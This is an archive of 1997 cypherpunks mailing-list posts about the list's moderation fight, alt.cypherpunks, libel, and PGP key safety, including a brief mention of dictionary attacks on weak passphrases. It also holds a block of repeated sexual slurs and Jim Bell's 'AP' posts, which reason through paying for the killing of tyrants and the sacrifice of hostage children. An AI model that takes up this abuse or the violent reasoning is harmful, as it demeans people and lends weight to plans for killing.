  Is this a follow-up to your suggestion to kill the list?
  The list that you stated you were leaving because you don't
think it's worthy of subscribing to?
  Is there any particular reason you want to redirect the future
of a list that you want killed and no longer want to subscribe to?

  Just asking.

Trust Me (<--shouldn't this be 'your' sig?)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:13:13 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121413.GAA19653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Timothy C. May" <tcmay@got.net> writes:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    I vote we just set up a new majordomo with some additional antispam
> >    filters including knocking out exploding mail headers, etc. I would
> >    accept excluding non-members as long as we take the remailers which
> >    are listed with either JP or RL.
> 
> This is a suggestion I have long thought to be a good one. Only allow posts
> from list subscribers, and make a special exception for remailers by adding
> them to the approval list. Figure if a spammer is smart enough to know what
> a remailer is, at least see her traffic for a while. Drop the inclusion of
> remailers if volume is too high.

A couple of "me too"s:
Low volume spam via remailers increases the strength of the remailer
net. Yay!
Not allowing non-subscribers to post is not a problem is the mailing
list is linked to the usenet version. The people who read/post to
cypherpunks via a newsgroup interface now can just use the real
newsgroup. Also, people who don't get alt.* and don't want to use
dejanews can sub to the list version.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwF8A8kz/YzIV3P5AQG+UgL+OPshqmTH8uLZw8gj/9OhrJ3qz+h8mo0t
g+KY2rlNLgmMP9AJoGszlc02jNOxWKahBMT/tLWztBG4g3/0Jy4IIFMU0gRz9t/2
pRNwig+MHm5EvhClMeva3rhVe/7t0Fz9
=Xaaf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Aaron D. gifford" <agifford@infowest.com>
Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Any info on Rep. Goodlatte's SAFE act?
Message-ID: <199702121441.GAA20397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any information on Congressman Goodlatte's S.A.F.E. act?

Aaron out.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 06:41:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121441.GAB20399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> > so we have myself, Jim Choate, and you who colunteer to host
> > mailing lists for the distributed cypherpunks.
> > 
> > I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> > 
> > We can coordinate our efforts. Actually, we can even have a mini
> > mailing list for people who want to participate in the distributed
> > cypherpunks experiment. If there is any interest, I can create such 
> > a list.
> 
> Please do.

The list is called cypherpunks-hosts@algebra.com. 

Use majordomo@algebra.com to sub-scri-be.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Feb 1997 08:00:24 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702121600.IAA22396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hettinga" <rah@shipwright.com>
Date: Wed, 12 Feb 1997 06:43:05 -0800 (PST)
To: Paul Bradley <cypherpunks@toad.com
Subject: alt.cypherpunks lives! was Re: New group
Message-ID: <199702121443.GAA20454@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


c'punks:

I went to look at news this morning, and I found the following:


In article <33019178.58622842@news.demon.co.uk>, paul@fatmans.demon.co.uk
(Paul Bradley) wrote:

| Well despite the obvious problems of propogation I thought it was time
| someone actually did something to get us a new home, even if it`s only
| temporary. So I have created alt.cypherpunks... See you all over on
| usenet!...


It seems this alt.cypherpunks thing was a lot easier than it looks.

Either that, or I have a clueful newsadmin. :-)

Cheers,
Bob

-- 
Robert Hettinga
e$
44 Farquhar Street
Boston, MA 02131
The e$ Home Page:  http://thumper.vmeng.com/rah/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Feb 1997 06:44:47 -0800 (PST)
To: tcm@got.net
Subject: New group
Message-ID: <199702121444.GAA20517@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all, 

Well despite the obvious problems of propogation I thought it was time
someone actually did something to get us a new home, even if it`s only
temporary. So I have created alt.cypherpunks... See you all over on
usenet!...

Best regards...

Paul Bradley







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 00:58:18 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199702010618.AAA08230@manifold.algebra.com>
Message-ID: <32F32265.AC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:

> Shit happens, and it certainly happens with all moderators whom I know.

Igor,
 I got private email from someone who has read most of your posts, and
expressed confusion over 'whose side' you are 'on' in relation to the
censored debate in regard to list censorship.
 I had to laugh, because the sad truth is, there are all too many people
who seem unable to understand the concept of someone who is quite simply
on the 'side' of 'truth', as much as humanly possible.
 I explained to him that you weren't 'fence hopping', but merely sitting
on your own fence, observing, while everyone else runs around in
circles.
 Please stay 'confusing'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:21:46 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Cocksucker
In-Reply-To: <854786117.514461.0@fatmans.demon.co.uk>
Message-ID: <32F3270B.61@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:

cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit
> 
> Sandy,
> 
> Why was this sent to the flames list? - surely it wasn`t directed at
> any specific person and was therefore a comment on "wooly thinking"
> ???

  This was a typo.
  It was supposed to say,
cryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptocryptoshit

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:21:51 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <Pine.LNX.3.95.970131160355.1646A-100000@purple.voicenet.com>
Message-ID: <32F327E4.30D5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
 
> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

  God forbid that people should have to use their judgement and their
brains, rather than their overly charged emotions.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 01:45:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyphernomicon by Tim May
Message-ID: <32F32D6C.126C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).

3.6.3 "Why isn't the list moderated?"
      ...hardly consistent with many of our anarchist leanings, is
          it?
      - "No, please, let's not become a 'moderated' newsgroup. This
      would be the end of freedom!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 04:21:33 -0800 (PST)
To: Paul Foley <mycroft@actrix.gen.nz>
Subject: Re: Key Security Question
In-Reply-To: <199702011118.AAA24621@mycroft.actrix.gen.nz>
Message-ID: <32F351F9.77A3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Paul Foley wrote:
 
> On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote:

>>      If the repairman has your pubring and secring files, you can now
>>    consider them in the same light as a 'busted flush'.
> 
> The secret key is encrypted using the same IDEA algorithm that PGP
> uses to encrypt your files.  If you trust IDEA, your key is as safe as
> your passphrase (not at all if you have no passphrase, not much if
> it's easily guessable, etc.)

  Send me your secring file. I have a new password-buster I'd like to
try out on it.

> If your computer repairman has the capability to crack strong 128-bit
> ciphers, I'd be rather worried :-)

  He doesn't have to crack the cipher, he only needs to find the
password.
 
> On the other hand, there's always the possibility of your passphrase
> being on the disk, say in a swap file, somewhere.  Same goes for
> plaintext of any encrypted files/messages.  I doubt anyone's gonna go
> hunting through your swap file, "empty" sectors, etc., looking for it,
> though, unless you've done something to really piss him off lately :-)

  Or if he's a member of the CypherPunks list, read the message, and now
considers it to be a personal challenge.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Talbert Newhart <talnewhart@intertemps.com>
Date: Sat, 1 Feb 1997 05:23:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List
Message-ID: <32F343DE.63EA@intertemps.com>
MIME-Version: 1.0
Content-Type: text/plain


Please put me on the Cypherpunk list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 1 Feb 1997 00:44:48 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
Message-ID: <854786124.514498.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


 
> Interestingly, the saying, "to let the cat out of the bag" is
> related to the saying, "to buy a pig in a poke."  A poke is a
> sack or bag.  In times past, street peddlers would sell a mark a 
> young pig.  The pig was supposedly put into a poke, but in fact,
> a bag with a cat in it was substituted.  By the time the mark
> figured out his mistake by "letting the cat out of the bag," the
> peddler was long gone.  The lesson the mark learned was "Don't
> buy a pig in a poke."

Thankyou Sandy for this highly crypto-relevant commentary presumably 
posted to the censored list so anyone with an interest in 
cryptography, cats and pigs can be suitably enlightened. Even if it 
wasn`t this would still be unworthy of the flames list.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 1 Feb 1997 00:49:18 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cocksucker
Message-ID: <854786117.514461.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksu
> cocksuckercocksuckercocksuckercocksuckercocksuckercockscocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucker
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksocksuckercocksuckercocksuckercoc
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucke
> cocksuckercocksuckercocksuckercocksuckercocksuckksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercoc
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksucksuckercocksuckercocksuckercocksu
> cocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit

Sandy, 

Why was this sent to the flames list? - surely it wasn`t directed at 
any specific person and was therefore a comment on "wooly thinking" 
???

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 07:22:49 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F32265.AC@sk.sympatico.ca>
Message-ID: <199702011516.JAA11212@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


right, in this particular case i am not on anyone's side.

i think that both sides of the debate do not know what they are doing,
but are very adept at creating paranoid theories about the other side.

igor

Toto wrote:
> 
> Igor Chudov @ home wrote:
> 
> > Shit happens, and it certainly happens with all moderators whom I know.
> 
> Igor,
>  I got private email from someone who has read most of your posts, and
> expressed confusion over 'whose side' you are 'on' in relation to the
> censored debate in regard to list censorship.
>  I had to laugh, because the sad truth is, there are all too many people
> who seem unable to understand the concept of someone who is quite simply
> on the 'side' of 'truth', as much as humanly possible.
>  I explained to him that you weren't 'fence hopping', but merely sitting
> on your own fence, observing, while everyone else runs around in
> circles.
>  Please stay 'confusing'.
> 
> Toto
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 09:37:37 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
Message-ID: <32F37F07.8DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Fri, 31 Jan 1997, Dale Thorn wrote:
> > I was *not* speaking of posts headed for the "moderated" list, I was
> > speaking of posts headed for the un-"moderated" list that would get
> > lost due to "mistakes".
> > Now I can understand how a censor could flub something going to a
> > moderated list, but why the un-moderated list?

> Apparently, Dale does not understand the how the list is
> moderated.  When someone posts to Cypherpunks, it automatically
> goes to the unedited list.  I am subscribed to the unedited list.
> When I read the unedited list, I forward each message I see there
> to either the flames list or the moderated list.  I have no
> control over the unedited list.  It goes out to everyone else at
> the same time it goes out to me.  I don't have a clue as to what
> Dale is talking about.

I only said what I said in response to what Igor said.  I didn't make
an accusation myself, since I don't have the necessary info.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 1 Feb 1997 06:38:06 -0800 (PST)
To: Rob <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702010740.XAA08867@toad.com>
Message-ID: <3.0.1.32.19970201093919.017e2984@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:18 AM 2/1/97 GMT, Rob wrote:
>On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:
>
>>from http://www.herald.com/dade/digdocs/021949.htm
>>Postal Service offers $25,000 reward for stolen . . . something
>

Mail Storage Box keys?

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug
5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl
nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY
JwdTTPZJNC0=
=uGDj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:33:35 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702011833.KAA03879@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 


I'm still waiting for you to explain what you believe to be the "problem" 
for which we are searching a solution.  

Is the problem that there is slavery?  Or do you think the only problem is 
that the slaves are unhappy?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 08:10:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
Message-ID: <L2eg2D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Fri, 31 Jan 1997, Dale Thorn wrote:
>
> > I was *not* speaking of posts headed for the "moderated" list, I was
> > speaking of posts headed for the un-"moderated" list that would get
> > lost due to "mistakes".
> >
> > Now I can understand how a censor could flub something going to a
> > moderated list, but why the un-moderated list?
>
> Apparently, Dale does not understand the how the list is
> moderated.  When someone posts to Cypherpunks, it automatically
> goes to the unedited list.  I am subscribed to the unedited list.
> When I read the unedited list, I forward each message I see there
> to either the flames list or the moderated list.  I have no
> control over the unedited list.  It goes out to everyone else at
> the same time it goes out to me.  I don't have a clue as to what
> Dale is talking about.

Dale is talking about the two messages from me that appeared on
the unedited list but did not appear on either censored or "flames"
list because Sandy chose not to forward them to either list.

Both messages dealt were criticial of Sandy's employer, C2, and
exposed their main product, Stronghold, as a fraud.

Other messages may have "fallen between the cracks" in the past,
but this was a controlled experiment.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:55:27 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702011855.KAA05989@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 1/30/97 -0800, Sean Roach wrote:
>At 11:15 AM 1/30/97 -0800, jim bell wrote:
>>What you're presented (included in its entirety below) is what I've come to 
>>call an "AP story problem."   I've worked through many of those myself; 
>>their main problem is that they don't carefully describe why _each_ person 
>>in the "play" you've described would be motivated to do what it's claim he 
>>does, and why he DOES NOT do other things to fix the situation he's in.  
>>Remember, I'm not merely talking about the main character, but also the ones 
>>who are (apparently?) incidental.  
>>
>>For just one example, you said:    "conventional bodyguards could be 
>>included, ones with no real pay but with the fore knowledgethat they will be 
>>buried with the tyrant."
>>
>>What motivates these people?  Are they hostages?  If they're hostages, then 
>>presumably that means they're motivated to seek the death of anyone who is 
>>holding them.  What about their relatives; don't they have any sympathy for 
>>those who are taken?  Why don't they donate to AP to see the lead guy dead?
>
>As I stated in the bottom, the children would be privaledged.

Who says?  What if the public doesn't agree?  Might it not be better to 
sacrifice a few children to keep other children alive?


>  They would
>merely be told that it is a great honor.  It could very well be.  Assuming
>that the tyrant did not die, these children would live in comparable luxery.

How much would this cost?  Who would pay?  Where would the money come from?  
Is this "solution" practical for everybody, or just the top guy?


>They would be at risk only if the tyrant was.  By keeping the children at
>hand, the parents would balk at taking action against the tyrant, not only
>their own action, but also that of others.  The children would merely be
>there to thwart the attempts of others.

Suppose that didn't work.  Who would kill the kids if the tyrant died?  Who 
would risk death himself to do this?  Etc.


Hint:  Unfortunately, you don't seem to be pursuing the implications of what 
you are hypothesizing.  This is typical.  Go back and do what I originally 
suggested:  Look at the motivations of EACH person in the "play" and decide 
why he will play along with the game.    This includes not merely the people 
you want to focus on, but also anyone else.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 08:10:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List
In-Reply-To: <32F343DE.63EA@intertemps.com>
Message-ID: <kiFg2D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Talbert Newhart <talnewhart@intertemps.com> writes:

> Please put me on the Cypherpunk list.

The old cypherpunks list no longer exists.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 09:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701280548.FAA00251@server.test.net>
Message-ID: <cVFg2D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
>
> Mr William H. Geiger III "Author of E-Secure" writes:
> > <sigh> for the benifit of those misfortunate enough to be still working on
> > dumb terminals I have disabled my PGP script until I have time to add a
> > word wrap routine to it.
>
> <sigh> it is you who were demonstrating your ineptitude by spewing
> 120+ line length postings.  Why is it so difficult for you to keep
> under 80 chars?  Would you like some technical assistance?  Notice how
> near every one else apart from yourself is managing to keep under 80
> chars?

Notice how near every one else apart from yourself bends over for the NSA,
and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
difficult for you to keep under 40 bits? Would you like some technical
assistance? Why are you setting yourself apart from the Internet community
that so happily embraces GAK? Why do you desire "privacy" for your traffic
when everyone else does not? What have you got to hide? Are you looking to
transmit child pornography, bomb-making instructions, and/or cannabis
legalization propaganda? We better have a look at your hard disk soon.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 1 Feb 1997 08:34:45 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701312213.OAA24431@toad.com>
Message-ID: <199702011633.LAA20630@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 30 Jan 1997, Jim Choate wrote:
> 
> > > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > > It is, they say, a rich man's game
> >
> > Exactly, instead of equal protection under the law we have a specieocracy.
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

	You mean to say, rich people can overcrowd the courts as much as they
like, while others are restricted by contigency-only lawyers ( Call 
1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control
a poor one with many frivolous lawsuits ... while they can afford to file 
lawsuit after lawsuit, the poor person cannot defend himself.

	
-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 1 Feb 1997 11:37:53 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <3.0.1.32.19970201113728.02c2b18c@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:41 AM 1/31/97 -0800, Z.B. wrote:
>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends on how guessable your passphrase is.  If you use something that would
fall to a dictionary attack, then you are vulnerable.  (Providing that they
actually looked for your keyring and made a copy.)

If you had nyms on your keyring, then those nyms can be associated with your
"true name" with no passphrase required.  (Unless you keep your keyring
encrypted. Private Idaho supports encrypted keyrings, but little else does.)

If you are really concerned about it, you could learn to do your own computer
repairs.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2
QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk
5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE
ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln
Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM
V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw==
=2if1
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 11:57:04 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702011640.IAA20586@toad.com>
Message-ID: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Postal Service offers $25,000 reward for stolen . . . something

I got the impression the author was struggling very hard not to say
	"I swear I'm not making this up"
"But I can't say that - it's Dave Barry's line"  :-)

At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote:
>Mail Storage Box keys?

I was also guessing keys - truck keys are a less subtle target than
box storage keys, and telling every thug in the country that 
mail trucks are an easy target, just take the keys from the carrier,
seems almost worth sounding really stupid in public to avoid.
They did say that it wasn't something they carried in their pockets,
but do mail carriers hang their keys on their belts?
My wife's guess was that they didn't want to admit they carry Mace
or equivalent, though everybody knows it.

I also enjoyed the description of one of the weapons as a
"steering wheel locking device" 
	"The Club - Police recommend it!"





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:12:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Key Security Question
In-Reply-To: <199702010201.SAA29739@toad.com>
Message-ID: <3.0.1.32.19970201121055.047b6520@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> My computer went into the shop a few days ago, and I was unable to take
>> my PGP keys off it before it went in.  What are the security risks here?
>> If the repairman chooses to snoop through the files, what would he be
>> able to do with my key pair?  Will I need to revoke the key and make a
>> new one, or will I be relatively safe since he doesn't have my
>> passphrase?

Passphrases are MD5-hashed into 128-bit IDEA keys and used to
encrypt the secret key; there's a "pgpcrack" program out there
that does dictionary-style searches to find if you've got 
wimpy passphrases.  So if your passphrases is "secret", you lose,
but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
you're probably pretty safe, unless that's written on the yellow
sticky you left on the side of the PC.

On the other hand, if the "repairman" replaced your pgp executable
